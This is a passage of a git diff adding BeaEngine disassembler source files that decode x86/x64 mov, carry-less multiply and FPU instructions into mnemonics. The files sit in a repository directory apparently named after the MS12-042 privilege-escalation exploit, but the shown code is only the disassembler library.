strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0+8]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+0+8]); + #endif + } + } + +} + +/* ======================================= + * 0bah + * ======================================= */ +void __bea_callspec__ mov_EDX(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0+8]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+0+8]); + #endif + } + } + +} + +/* ======================================= + * 0bbh + * ======================================= */ +void __bea_callspec__ mov_EBX(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG3; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0+8]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+0+8]); + #endif + } + } + +} + +/* ======================================= + * 0bch + * ======================================= */ +void __bea_callspec__ mov_ESP(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG4; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0+8]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+0+8]); + #endif + } + } + +} + +/* ======================================= + * 0bdh + * ======================================= */ +void __bea_callspec__ mov_EBP(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG5; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0+8]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+0+8]); + #endif + } + } + +} + +/* ======================================= + * 0beh + * ======================================= */ +void __bea_callspec__ mov_ESI(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG6; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0+8]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+0+8]); + #endif + } + } + +} + +/* ======================================= + * 0bfh + * ======================================= */ +void __bea_callspec__ mov_EDI(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG7; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Instruction.Immediat = (Int64) MyAddress; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0+8]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+0+8]); + #endif + } + } + +} +/* ======================================= + * 0c6h-Group 11 + * ======================================= */ +void __bea_callspec__ mov_EbIb(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + EbIb(pMyDisasm); + } + else { + FailDecode(pMyDisasm); + } +} + +/* ======================================= + * 0c7h-Group 11 + * ======================================= */ +void __bea_callspec__ mov_EvIv(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + EvIv(pMyDisasm); + } + else { + FailDecode(pMyDisasm); + } +} + +/* ======================================= + * 08ch + * ======================================= */ +void __bea_callspec__ mov_EwSreg(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.MemDecoration = Arg1word; + GV.OperandSize = 16; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.OperandSize = 32; + GV.SEG_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SEG_ = 0; + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ======================================= + * 08eh + * ======================================= */ +void __bea_callspec__ mov_SregEw(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.MemDecoration = Arg2word; + GV.OperandSize = 16; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.SEG_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SEG_ = 0; + GV.EIP_ += GV.DECALAGE_EIP+2; +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_CLMUL.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_CLMUL.c new file mode 100644 index 0000000..22960ee --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_CLMUL.c @@ -0,0 +1,74 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0x 0f 3a 44 + * ==================================================================== */ +void __bea_callspec__ pclmulqdq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = CLMUL_INSTRUCTION; + + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + + if ((*pMyDisasm).Instruction.Immediat == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmullqlqdq "); + #endif + } + else if ((*pMyDisasm).Instruction.Immediat == 0x01 ) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulhqlqdq "); + #endif + } + else if ((*pMyDisasm).Instruction.Immediat == 0x10 ) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmullqhqdq "); + #endif + } + else if ((*pMyDisasm).Instruction.Immediat == 0x011 ) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulhqhqdq "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pclmulqdq "); + #endif + GV.third_arg = 1; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + } + } + else { + FailDecode(pMyDisasm); + } +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_FPU.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_FPU.c new file mode 100644 index 0000000..2f7d87c --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_FPU.c @@ -0,0 +1,1782 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ D8_(PDISASM pMyDisasm) +{ + long MyMODRM; + char (*pRegistersFPU)[8][8] ; + + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) {return;} + MyMODRM = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + pRegistersFPU = &RegistersFPU_Masm; + if (GV.SYNTAX_ == NasmSyntax) { + pRegistersFPU = &RegistersFPU_Nasm; + } + if (MyMODRM <= 0xbf) { + GV.MemDecoration = Arg2dword; + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fadd "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 1) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmul "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 2) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcom "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + } + else if (GV.REGOPCODE == 3) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + } + else if (GV.REGOPCODE == 4) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy 